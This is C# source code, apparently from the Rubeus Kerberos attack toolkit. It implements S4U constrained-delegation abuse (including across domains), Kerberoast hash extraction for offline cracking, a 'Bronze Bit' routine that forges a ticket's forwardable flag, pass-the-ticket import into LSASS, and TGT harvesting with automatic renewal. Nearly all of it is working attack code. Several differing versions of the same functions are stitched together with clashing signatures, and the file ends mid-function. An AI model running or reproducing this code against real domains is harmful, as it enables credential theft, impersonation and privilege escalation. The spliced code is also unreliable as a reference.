public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "")
{
Console.WriteLine("[*] Action: S4U\r\n");
if (!String.IsNullOrEmpty(targetDomain) && !String.IsNullOrEmpty(targetDomainController))
{
// do cross domain S4U
// no support for supplying a TGS due to requiring more than a single ticket
Console.WriteLine("[*] Performing cross domain constrained delegation");
CrossDomainS4U(kirbi, targetUser, targetSPN, ptt, domainController, altService, targetDomain, targetDomainController);
}
else
{
if (tgs != null && String.IsNullOrEmpty(targetSPN) == false)
{
Console.WriteLine("[*] Loaded a TGS for {0}\\{1}", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]);
S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs.tickets[0]);
}
else
{
Ticket self = S4U2Self(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService);
if (String.IsNullOrEmpty(targetSPN) == false)
{
S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, self);
}
}
}
}
public static void TGS(KRB_CRED kirbi, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false)
{
// kirbi = the TGT .kirbi to use for ticket requests
// service = the SPN being requested
// requestEType = specific encryption type for the request, Interop.KERB_ETYPE.subkey_keymaterial implies default
// ptt = "pass-the-ticket" so apply the ticket to the current logon session
// domainController = the specific domain controller to send the request, defaults to the system's DC
// display = true to display the ticket
// extract out the info needed for the TGS-REQ request
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
// the etype for the PA Data for the request, so needs to match the TGT key type
Interop.KERB_ETYPE paEType = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string[] services = service.Split(',');
foreach (string sname in services)
{
// request the new service ticket
TGS(userName, domain, ticket, clientKey, paEType, sname, requestEType, outfile, ptt, domainController, display, enterprise, roast);
Console.WriteLine();
}
}
public static void GetTGSRepHash(KRB_CRED TGT, string spn, string userName = "******", string distinguishedName = "", string outFile = "", bool simpleOutput = false, string domainController = "", Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial)
{
// use a TGT blob to request a hash instead of the KerberosRequestorSecurityToken method
string userDomain = "DOMAIN";
if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase))
{
// extract the domain name from the distinguishedname
Match dnMatch = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase);
string domainDN = dnMatch.Groups["Domain"].ToString();
userDomain = domainDN.Replace("DC=", "").Replace(',', '.');
}
// extract out the info needed for the TGS-REQ request
string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0];
string domain = TGT.enc_part.ticket_info[0].prealm;
Ticket ticket = TGT.tickets[0];
byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype;
string[] services = spn.Split(',');
foreach (string sname in services)
{
// request the new service tickt
byte[] tgsBytes = Ask.TGS(tgtUserName, domain, ticket, clientKey, etype, sname, requestEType, null, false, domainController, false);
if (tgsBytes != null)
{
KRB_CRED tgsKirbi = new KRB_CRED(tgsBytes);
DisplayTGShash(tgsKirbi, true, userName, userDomain, outFile, simpleOutput);
Console.WriteLine();
}
}
}
public static void TGTAutoRenew(KRB_CRED kirbi, string domainController = "", bool display = true)
{
Console.WriteLine("[*] Action: Auto-Renew TGT");
KRB_CRED currentKirbi = kirbi;
while (true)
{
// extract out the info needed for the TGS-REQ/AP-REQ renewal
string userName = currentKirbi.EncryptedPart.ticket_info[0].pname.name_string[0];
string domain = currentKirbi.EncryptedPart.ticket_info[0].prealm;
Console.WriteLine("\r\n\r\n[*] User : {0}@{1}", userName, domain);
DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.EncryptedPart.ticket_info[0].endtime);
DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.EncryptedPart.ticket_info[0].renew_till);
Console.WriteLine("[*] endtime : {0}", endTime);
Console.WriteLine("[*] renew-till : {0}", renewTill);
if (endTime > renewTill)
{
Console.WriteLine("\r\n[*] renew-till window ({0}) has passed.\r\n", renewTill);
return;
}
double ticks = (endTime - DateTime.Now).Ticks;
if (ticks < 0)
{
Console.WriteLine("\r\n[*] endtime is ({0}) has passed, no renewal possible.\r\n", endTime);
return;
}
// get the window to sleep until the next endtime for the ticket, -30 minutes for a window
double sleepMinutes = TimeSpan.FromTicks((endTime - DateTime.Now).Ticks).TotalMinutes - 30;
Console.WriteLine("[*] Sleeping for {0} minutes (endTime-30) before the next renewal", (int)sleepMinutes);
System.Threading.Thread.Sleep((int)sleepMinutes * 60 * 1000);
Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domain);
currentKirbi = new KRB_CRED(TGT(currentKirbi, false, domainController, true));
}
}
private void RefreshTicketCache(bool display = false)
{
// goes through each ticket in the cache, removes any tickets that have expired
// and renews any tickets that are going to expire before the next check interval
// then displays the current "active" ticket cache if "display" is passed as true
if (display)
{
Console.WriteLine("\r\n[*] Refreshing TGT ticket cache ({0})\r\n", DateTime.Now);
}
for (var i = harvesterTicketCache.Count - 1; i >= 0; i--)
{
var endTime = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].endtime);
var renewTill = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].renew_till);
var userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0];
var domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm;
// check if the ticket has now expired
if (endTime < DateTime.Now)
{
Console.WriteLine("[!] Removing TGT for {0}@{1}\r\n", userName, domainName);
// remove the ticket from the cache
Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count);
harvesterTicketCache.RemoveAt(i);
Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count);
}
else
{
// check if the ticket is going to expire before the next interval checkin
// but we'll still be in the renew window
if ((endTime < DateTime.Now.AddSeconds(monitorIntervalSeconds)) && (renewTill > DateTime.Now.AddSeconds(monitorIntervalSeconds)))
{
// renewal limit after checkin interval, so renew the TGT
userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0];
domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm;
Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domainName);
var bytes = Renew.TGT(harvesterTicketCache[i], "", false, "", false);
var renewedCred = new KRB_CRED(bytes);
harvesterTicketCache[i] = renewedCred;
}
if (display)
{
LSA.DisplayTicket(harvesterTicketCache[i], 2, true, true, false, this.nowrap);
}
}
}
if (display)
{
Console.WriteLine("[*] Ticket cache size: {0}", harvesterTicketCache.Count);
}
}
public static void DisplayTGShash(KRB_CRED cred, bool kerberoastDisplay = false, string kerberoastUser = "******", string kerberoastDomain = "DOMAIN", string outFile = "")
{
// output the hash of the encrypted KERB-CRED service ticket in a kerberoast hash form
int encType = cred.tickets[0].enc_part.etype;
string userName = string.Join("@", cred.enc_part.ticket_info[0].pname.name_string.ToArray());
string domainName = cred.enc_part.ticket_info[0].prealm;
string sname = string.Join("/", cred.enc_part.ticket_info[0].sname.name_string.ToArray());
string cipherText = BitConverter.ToString(cred.tickets[0].enc_part.cipher).Replace("-", string.Empty);
string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, kerberoastUser, kerberoastDomain, sname, cipherText.Substring(0, 32), cipherText.Substring(32));
if (!String.IsNullOrEmpty(outFile))
{
string outFilePath = Path.GetFullPath(outFile);
try
{
File.AppendAllText(outFilePath, hash + Environment.NewLine);
}
catch (Exception e)
{
Console.WriteLine("Exception: {0}", e.Message);
}
Console.WriteLine("[*] Hash written to {0}", outFilePath);
}
else
{
bool header = false;
foreach (string line in Helpers.Split(hash, 80))
{
if (!header)
{
if (kerberoastDisplay)
{
Console.WriteLine("[*] Hash : {0}", line);
}
else
{
Console.WriteLine(" Kerberoast Hash : {0}", line);
}
}
else
{
if (kerberoastDisplay)
{
Console.WriteLine(" {0}", line);
}
else
{
Console.WriteLine(" {0}", line);
}
}
header = true;
}
}
}
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool s = false, bool opsec = false, string requestDomain = "", string impersonateDomain = "")
{
Console.WriteLine("[*] Action: S4U\r\n");
if (!String.IsNullOrEmpty(targetDomain) && !String.IsNullOrEmpty(targetDomainController))
{
// do cross domain S4U
// no support for supplying a TGS due to requiring more than a single ticket
Console.WriteLine("[*] Performing cross domain constrained delegation");
CrossDomainS4U(kirbi, targetUser, targetSPN, ptt, domainController, altService, targetDomainController, targetDomain);
}
else
{
if (tgs != null && String.IsNullOrEmpty(targetSPN) == false)
{
Console.WriteLine("[*] Loaded a TGS for {0}\\{1}", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]);
S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, opsec);
}
else
{
KRB_CRED self = null;
if (!String.IsNullOrEmpty(targetDomain))
{
// Get relevent information from provided referral ticket
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = targetDomain;
targetDomain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
// If these domains are empty, use the domain from the referral ticket
if (String.IsNullOrEmpty(impersonateDomain))
{
impersonateDomain = targetDomain;
}
if (String.IsNullOrEmpty(requestDomain))
{
requestDomain = targetDomain;
}
KRB_CRED localSelf = CrossDomainS4U2Self(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, impersonateDomain), domainController, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, altService, s, requestDomain, ptt);
}
else
{
self = S4U2Self(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, s, opsec);
}
if (String.IsNullOrEmpty(targetSPN) == false)
{
S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, self, opsec);
}
}
}
}
public static byte[] TGT(KRB_CRED kirbi, string outfile = "", bool ptt = false, string domainController = "", bool display = true)
{
// extract out the info needed for the TGS-REQ/AP-REQ renewal
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
// request the new TGT renewal
return TGT(userName, domain, ticket, clientKey, etype, outfile, ptt, domainController, display);
}
private static void CrossDomainS4U(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", string targetDomainController = "", string targetDomain = "", string createnetonly = null, bool show = false)
{
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
// user variables
string user = string.Format("{0}@{1}", userName, domain);
string target = string.Format("{0}@{1}", targetUser, targetDomain);
// First retrieve our service ticket for the target domains KRBTGT from our DC
Console.WriteLine("[*] Retrieving referral TGT from {0} for foreign domain, {1}, KRBTGT service", domain, targetDomain);
byte[] crossBytes = Ask.TGS(userName, domain, ticket, clientKey, etype, string.Format("krbtgt/{0}", targetDomain), Interop.KERB_ETYPE.subkey_keymaterial, "", false, domainController, true);
KRB_CRED crossTGS = new KRB_CRED(crossBytes);
Interop.KERB_ETYPE crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype;
byte[] crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue;
// Next retrieve an S4U2Self referral from the target domains DC
// to be used when we ask for a S4U2Self from our DC
// We need to use our referral TGT for the target domain for this
Console.WriteLine("[*] Retrieving the S4U2Self referral from {0}", targetDomain);
KRB_CRED foreignSelf = CrossDomainS4U2Self(user, target, targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial);
crossEtype = (Interop.KERB_ETYPE)foreignSelf.enc_part.ticket_info[0].key.keytype;
crossKey = foreignSelf.enc_part.ticket_info[0].key.keyvalue;
// Now retrieve the S4U2Self ticket from our DC
// We use the S4U2Self referral to ask for this
Console.WriteLine("[*] Requesting the S4U2Self ticket from {0}", domain);
KRB_CRED localSelf = CrossDomainS4U2Self(user, target, domainController, foreignSelf.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, false);
if (!String.IsNullOrEmpty(targetSPN))
{
// Using our standard TGT and attaching our local S4U2Self
// retrieve an S4U2Proxy from our DC
// This will be needed for the last request
KRB_CRED localS4U2Proxy = CrossDomainS4U2Proxy(user, target, targetSPN, domainController, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, localSelf.tickets[0], false);
crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype;
crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue;
// Lastly retrieve the final S4U2Proxy from the foreign domains DC
// This is the service ticket we need to access the target service
KRB_CRED foreignS4U2Proxy = CrossDomainS4U2Proxy(user, target, targetSPN, targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, localS4U2Proxy.tickets[0], true, ptt);
}
}
public static void TGS(KRB_CRED kirbi, string service, bool ptt = false, string domainController = "", bool display = true)
{
// extract out the info needed for the TGS-REQ request
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string[] services = service.Split(',');
foreach (string sname in services)
{
// request the new service tickt
TGS(userName, domain, ticket, clientKey, etype, sname, ptt, domainController, display);
Console.WriteLine();
}
}
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null)
{
Console.WriteLine("[*] Action: S4U\r\n");
if (tgs != null && String.IsNullOrEmpty(targetSPN) == false)
{
Console.WriteLine("[*] Loaded a TGS for {0}\\{1}", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]);
S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs.tickets[0]);
}
else
{
Ticket self = S4U2Self(kirbi, targetUser, targetSPN, ptt, domainController, altService);
if (String.IsNullOrEmpty(targetSPN) == false)
{
S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, self);
}
}
}
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
{
// first retrieve a TGT for the user
byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, false);
Console.WriteLine();
if (kirbiBytes == null)
{
Console.WriteLine("[X] Error retrieving a TGT with the supplied parameters");
return;
}
// transform the TGT bytes into a .kirbi file
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
// execute the s4u process
Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService);
}
private static void CrossDomainS4U(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", string targetDomainController = "", string targetDomain = "")
{
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
// First retrieve our service ticket for the target domains KRBTGT from our DC
Console.WriteLine("[*] Retrieving TGS from {0} for foreign domain, {1}, KRBTGT service", domain, targetDomain);
KRB_CRED crossTGS = CrossDomainKRBTGT(userName, domain, domainController, targetDomain, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial);
Interop.KERB_ETYPE crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype;
byte[] crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue;
// Next retrieve an S4U2Self from the target domains DC
// to be used when we ask for a S4U2Self from our DC
// We need to use our TGS for the target domains KRBTGT for this
Console.WriteLine("[*] Performing cross domain S4U2Self from {0} to {1}", domain, targetDomain);
KRB_CRED foreignSelf = CrossDomainS4U2Self(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, targetDomain), targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial);
crossEtype = (Interop.KERB_ETYPE)foreignSelf.enc_part.ticket_info[0].key.keytype;
crossKey = foreignSelf.enc_part.ticket_info[0].key.keyvalue;
// Now retrieve an S4U2Self from our DC
// We use the foreign S4U2Self TGS to ask for this
KRB_CRED localSelf = CrossDomainS4U2Self(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, targetDomain), domainController, foreignSelf.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, false);
// Using our standard TGT and attaching our local S4U2Self
// retrieve an S4U2Proxy from our DC
// This will be needed for the last request
KRB_CRED localS4U2Proxy = CrossDomainS4U2Proxy(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, targetDomain), targetSPN, domainController, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, localSelf.tickets[0], false);
crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype;
crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue;
// Lastly retrieve the final S4U2Proxy from the foreign domains DC
// This is the service ticket we need to access the target service
KRB_CRED foreignS4U2Proxy = CrossDomainS4U2Proxy(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, targetDomain), targetSPN, targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, localS4U2Proxy.tickets[0], true, ptt);
}
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool self = false, bool opsec = false, bool bronzebit = false, bool pac = true, string proxyUrl = null, string createnetonly = null, bool show = false)
{
// first retrieve a TGT for the user
byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, null, false, domainController, new LUID(), false, opsec, "", false, pac, proxyUrl);
if (kirbiBytes == null)
{
Console.WriteLine("[X] Error retrieving a TGT with the supplied parameters");
return;
}
else
{
Console.WriteLine("\r\n");
}
// transform the TGT bytes into a .kirbi file
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
// execute the s4u process
Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, targetDomainController, targetDomain, self, opsec, bronzebit, keyString, etype, null, null, proxyUrl, createnetonly, show);
}
public static bool GetTGSRepHash(KRB_CRED TGT, string spn, string userName = "******", string distinguishedName = "", string outFile = "", bool simpleOutput = false, bool enterprise = false, string domainController = "", Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial)
{
// use a TGT blob to request a hash instead of the KerberosRequestorSecurityToken method
string tgtDomain = "DOMAIN";
// we can only roast tickets for the domain that we have a TGT for, first determine it's a TGT
string serviceName = TGT.tickets[0].sname.name_string[0];
if (!serviceName.Equals("krbtgt"))
{
Console.WriteLine("[X] Unable to request service tickets without a TGT, please rerun and provide a TGT to '/ticket'.");
return(false);
}
else
{
// always use the doamin that our TGT is for
tgtDomain = TGT.tickets[0].sname.name_string[1];
}
// extract out the info needed for the TGS-REQ request
string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0];
string domain = TGT.enc_part.ticket_info[0].prealm.ToLower();
Ticket ticket = TGT.tickets[0];
byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype;
// request the new service ticket
byte[] tgsBytes = Ask.TGS(tgtUserName, domain, ticket, clientKey, etype, spn, requestEType, null, false, domainController, false, enterprise, false, false, null, tgtDomain);
if (tgsBytes != null)
{
KRB_CRED tgsKirbi = new KRB_CRED(tgsBytes);
DisplayTGShash(tgsKirbi, true, userName, tgtDomain, outFile, simpleOutput);
Console.WriteLine();
return(true);
}
return(false);
}
private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, string proxyUrl = null, string createnetonly = null, bool show = false)
{
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain);
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec);
byte[] response = null;
if (String.IsNullOrEmpty(proxyUrl))
{
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
Console.WriteLine("[*] Sending S4U2self request to {0}:88", dcIP);
response = Networking.SendBytes(dcIP, 88, tgsBytes);
}
else
{
Console.WriteLine("[*] Sending S4U2self request via KDC proxy: {0}", proxyUrl);
KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(tgsBytes);
message.target_domain = domain;
response = Networking.MakeProxyRequest(proxyUrl, message);
}
if (response == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
{
Console.WriteLine("[+] S4U2self success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// if we want to use this s4u2self ticket for authentication, change the sname
if (!String.IsNullOrEmpty(altService) && self)
{
rep.ticket.sname.name_string[0] = altService.Split('/')[0];
rep.ticket.sname.name_string.Add(altService.Split('/')[1]);
}
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
if (bronzebit && !String.IsNullOrEmpty(keyString))
{
Console.WriteLine("[*] Bronze Bit flag passed, flipping forwardable flag on. Original flags: {0}", info.flags);
info.flags |= Interop.TicketFlags.forwardable;
// get user longterm key from keyString
byte[] key = Helpers.StringToByteArray(keyString);
// decrypt and decode ticket encpart
var decTicketPart = rep.ticket.Decrypt(key, null, true);
// modify flags
decTicketPart.flags |= Interop.TicketFlags.forwardable;
// encode and encrypt ticket encpart
byte[] encTicketData = decTicketPart.Encode().Encode();
byte[] encTicketPart = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)rep.ticket.enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData);
rep.ticket.enc_part = new EncryptedData(rep.ticket.enc_part.etype, encTicketPart, rep.ticket.enc_part.kvno);
Console.WriteLine("[*] Flags changed to: {0}", info.flags);
}
// add the ticket
cred.tickets.Add(rep.ticket);
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// if we want to use the s4u2self change the sname here too
if (!String.IsNullOrEmpty(altService) && self)
{
Console.WriteLine("[*] Substituting alternative service name '{0}'", altService);
info.sname.name_string[0] = altService.Split('/')[0];
info.sname.name_string.Add(altService.Split('/')[1]);
}
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n");
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
Console.WriteLine("");
if (!String.IsNullOrEmpty(outfile))
{
string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
filename = Helpers.MakeValidFileName(filename);
if (Helpers.WriteBytesToFile(filename, kirbiBytes))
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
}
}
if (ptt && self)
{
// pass-the-ticket -> import into LSASS
ImportTicket(kirbiBytes, createnetonly, show);
}
return(cred);
}
else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return(null);
}
public static byte[] TGT(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", bool display = true)
{
if (display)
{
Console.WriteLine("[*] Action: Renew TGT\r\n");
}
string dcIP = Networking.GetDCIP(domainController, display);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
if (display)
{
Console.WriteLine("[*] Building TGS-REQ renewal for: '{0}\\{1}'", domain, userName);
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, "krbtgt", providedTicket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, true, "");
byte[] response = Networking.SendBytes(dcIP.ToString(), 88, tgsBytes);
if (response == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] TGT renewal request successful!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
